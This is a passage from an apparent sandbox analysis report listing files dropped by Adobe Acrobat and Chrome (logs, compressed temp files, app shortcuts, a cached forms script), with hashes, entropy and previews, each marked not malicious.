Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.33663234162042
Encrypted:	false
SSDEEP:	384:IF8iYiNJwJcJJJe9JNJqJaJnJFJcIqeIpI1rPr1rvr9RKUTUTfTwT2nOMOcOSf4u:NUM4
MD5:	C64D049D5684CC81CDA9D3440E5C2815
SHA1:	29C8281A3EAA2FAADE26F6B745D59C32388E62BF
SHA-256:	545E41A4552A6EF92FE86C576B4EF83580607C9D1002876DFFF35BE73DAA01CC
SHA-512:	27A0ACA93F2088F7B427924AD5BE171DB65F79F2F92731AEAC26E30AE862A750FFC57DDCBE22DF155FEA4C43714F8AA577E07B7A40434E084F6413912E4C8486
Malicious:	false
Preview:	SessionID=02b6846d-8cd2-44ae-b930-aaa2abbcfe25.1736507049039 Timestamp=2025-01-10T06:04:09:039-0500 ThreadID=7888 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=02b6846d-8cd2-44ae-b930-aaa2abbcfe25.1736507049039 Timestamp=2025-01-10T06:04:09:047-0500 ThreadID=7888 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=02b6846d-8cd2-44ae-b930-aaa2abbcfe25.1736507049039 Timestamp=2025-01-10T06:04:09:047-0500 ThreadID=7888 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=02b6846d-8cd2-44ae-b930-aaa2abbcfe25.1736507049039 Timestamp=2025-01-10T06:04:09:048-0500 ThreadID=7888 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=02b6846d-8cd2-44ae-b930-aaa2abbcfe25.1736507049039 Timestamp=2025-01-10T06:04:09:048-0500 ThreadID=7888 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395714159303146
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbb:91
MD5:	222968279A4F0A80360013CA1286A203
SHA1:	77CF96E7262D8EBD93023AEDC70ABD1B1051694F
SHA-256:	B00859C955A4EC1412BEB091083F6DEAF3B9B2FBAE3120897CF2F7B6AAC46C15
SHA-512:	B7883A0FC844056A5C6E8853957EADADC68161F35986B7A0F178D527D82EABCB5D455B822AE692373149219002E8142BC9B9519DECA6CE35001658B0B993D022
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1ecfed81-c8ff-4997-bd7e-78fd84b9691f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\7ccc65ff-f9e6-4fb7-a968-c890af7577c6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a6fe2084-7e68-45ca-9edd-6c493ea7bd38.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b7259f12-9b71-4bae-a4b8-8477b090a7cb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPtdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07teWL57oYGZd:fZwZGD3mlind9i4ufFXpAXkrfUs0MWL4
MD5:	6E03B571FA7B952BDBE5BEA6D9CBA6E9
SHA1:	B8E0D2C0E9140444F0E9D1A2974DF2B52F3BE0D8
SHA-256:	D99B04E56469C8C58DBFA26A632990E8C6A15E63B2C507D2FDA63AD9A792EA91
SHA-512:	6F2696F19FE60BF6AA0865124E3997DFB106438840A4FD200D54AD19726CCC7AAFC57E74C79804E019F1A98464FB31A9A7D6CB0D9817A2902C51B7E34553AE19
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 10:04:34 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9784439078670926
Encrypted:	false
SSDEEP:	48:8fd7Tj9NsyHiZidAKZdA19ehwiZUklqehQy+3:8NHmrTy
MD5:	6535068F6B4A795B5E1BED456247633B
SHA1:	493921DDA1FCCE4C1FB3C97FAB82EEA3ABB0CF60
SHA-256:	D1607BDFDCC2D2552A3C2BD30A76E64229FA4DD657B3A127D2ABEC530A2F132C
SHA-512:	FEFE22F980C2655DDC3D6A553FDB5476727212E63B2E838C4B31CF22484222848BE5D841258060515D9AAA5346D5148A07382FCB241741E3D08F1EEB2FDD9A74
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......nOc..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZ.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZ.X...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Rq......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 10:04:34 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.991951400881457
Encrypted:	false
SSDEEP:	48:8ad7Tj9NsyHiZidAKZdA1weh/iZUkAQkqehDy+2:8uHmZ9Quy
MD5:	CF34B0C3A41530A49E6FF6A979A6E609
SHA1:	4814C58C9A5EF0DBDFA2C6E357EB072639C4EB99
SHA-256:	1116B09EBE00DC368192C0123CF0D7247EB2BFDC41219342C2C8E66A6BA78435
SHA-512:	FA133EE2E1A9A8EEDFF2E12A38EEE2438005C7BAB2BB79DF19FB411C6DB44C9A33B47CFA0FA8C9F60FB4B7071F4DBB320497816991CE9C4675ADDDE6EBEED869
Malicious:	false
Preview:	L..................F.@.. ...$+.,....G.znOc..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZ.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZ.X...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Rq......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.00725425666013
Encrypted:	false
SSDEEP:	48:8x/d7Tj9NsHiZidAKZdA14tseh7sFiZUkmgqeh7sJy+BX:8xtH1pnfy
MD5:	E702FDE6CF78A5EE7B529A5AA5410C99
SHA1:	3EC93C833D2D1EBCC04C2C6FCBC4C1473525F18D
SHA-256:	C7150138A203D3896EAE5C29AD3C7976B2F33658B8A740332AA6A72F833DF65D
SHA-512:	17B9DBE49EF4E0BBD2CFA25A9A2F4EBF5814E51ECB31B8315EC8A4422D7CF28FC0DA4744BB04DFC20F6E2154C550A72AE3C401CFE3C75A9D9089E57BEA0EB492
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZ.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Rq......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 10:04:34 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.990966137362331
Encrypted:	false
SSDEEP:	48:8rd7Tj9NsyHiZidAKZdA1vehDiZUkwqehny+R:8pHm6Ry
MD5:	9C472FBF2B39BEC1DB92B2F609AB0F9D
SHA1:	C0355C94E299A77D3A0EBD17B4291D617DEBBCD3
SHA-256:	8BA60E4B744230026A7B889B3471D42A3C732E1D8F4B3D852D7B6E486A9DCE5F
SHA-512:	A2D6289B634969657FBF58A3D113CE862D4FC23A8966D9038D26ABA68AD6B2A54DA00682C70B0938ADFFE8C4DDD3A36F7F53580D43F18E025C90FF8BD3DD4243
Malicious:	false
Preview:	L..................F.@.. ...$+.,......tnOc..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZ.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZ.X...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Rq......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 10:04:34 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9794936995566847
Encrypted:	false
SSDEEP:	48:8xd7Tj9NsyHiZidAKZdA1hehBiZUk1W1qeh1y+C:8PHm69Vy
MD5:	D1937D4F2182CEB97537957B7B63738B
SHA1:	ABAEE02028F11DE2F5FE273E722DFC0FC93F7AAA
SHA-256:	D5BB198418ACF6D3BBEC67C47474F4B312CDD291B41F93C6F9A16AF74EB067A0
SHA-512:	88F9AB56E33605CDC9DA6DEAB3B0FC227ADA1BD0BAFDBEDBE4761B93BE2B0A59546F26A465868CCA4F186D2798D0D42A27B0F54717E0487E0139C3AF30497FB3
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....h.nOc..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZ.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZ.X...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Rq......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 10:04:34 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.990773176134354
Encrypted:	false
SSDEEP:	48:8pd7Tj9NsyHiZidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbfy+yT+:8HHmET/TbxWOvTbfy7T
MD5:	BB4D94B2EF3E03154633548023588850
SHA1:	496800EDD5BD84ACE16A19C9C72A39C5EADC5E3B
SHA-256:	36130C9AD17B8E62968FC2C26685A52BD8D26DCAEA09CCE030A596C3AFDC6E0F
SHA-512:	583FB23B08AE3F72BA9E50CF8967B7F41F24DB10B7B6CFBCDAA7D2DE3CBD523719C1BC31658BDBEF8FBA12FFC3FC817CF28EE8076EBA9BF49045C8E482EEFF31
Malicious:	false
Preview:	L..................F.@.. ...$+.,....:.jnOc..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZ.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZ.X...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Rq......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65327)
Category:	downloaded
Size (bytes):	71711
Entropy (8bit):	5.380708743067864
Encrypted:	false
SSDEEP:	768:Z7zF61De2D84wdmsQRfFvBCKUOC9e23mbKWvc/lTGtdWg1Nbb4v1MXupx87sdfQI:ZQD6TERtZhsrtscTKbsveXl7sWYqPMaM
MD5:	CCE97CE600E1081DCE3E5E7B5BC08D18
SHA1:	6D7B919C451C823C394D2EE53C1DE1996E5A695F
SHA-256:	E66DFBCC8BA7CD3624126A2D8825BD6216FE0202AF9D9F750AB7B02E6CA8FC44
SHA-512:	D0596632D6F36D6CCB093818997D7403D5D315936DC525C73887C78461A2ECDA985D75F448DD3D7B8E559186D6C8CA068D7F6AE5758B89D93CCBDE02945BE740
Malicious:	false
URL:	https://js.hscollectedforms.net/collectedforms.js
Preview:	/! For license information please see project.js.LICENSE.txt /.!function(){"use strict";var t={}.toString,e=function(e){return t.call(e).slice(8,-1)},r=Array.isArray\|\|function(t){return"Array"==e(t)},n=function(t){return"object"==typeof t?null!==t:"function"==typeof t},i=function(t){if(null==t)throw TypeError("Can't call method on "+t);return t},o=function(t){return Object(i(t))},s=Math.ceil,a=Math.floor,u=function(t){return isNaN(t=+t)?0:(t>0?a:s)(t)},c=Math.min,l=function(t){return t>0?c(u(t),9007199254740991):0},d=function(t,e){if(!n(t))return t;var r,i;if(e&&"function"==typeof(r=t.toString)&&!n(i=r.call(t)))return i;if("function"==typeof(r=t.valueOf)&&!n(i=r.call(t)))return i;if(!e&&"function"==typeof(r=t.toString)&&!n(i=r.call(t)))return i;throw TypeError("Can't convert object to primitive value")},f=function(t){try{return!!t()}catch(t){return!0}},h=!f((function(){return 7!=Object.defineProperty({},"a",{get:function(){return 7}}).a})),p="object"==typeof window&&window&&window.Ma

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64738)
Category:	downloaded
Size (bytes):	69909
Entropy (8bit):	5.298073585644622
Encrypted:	false
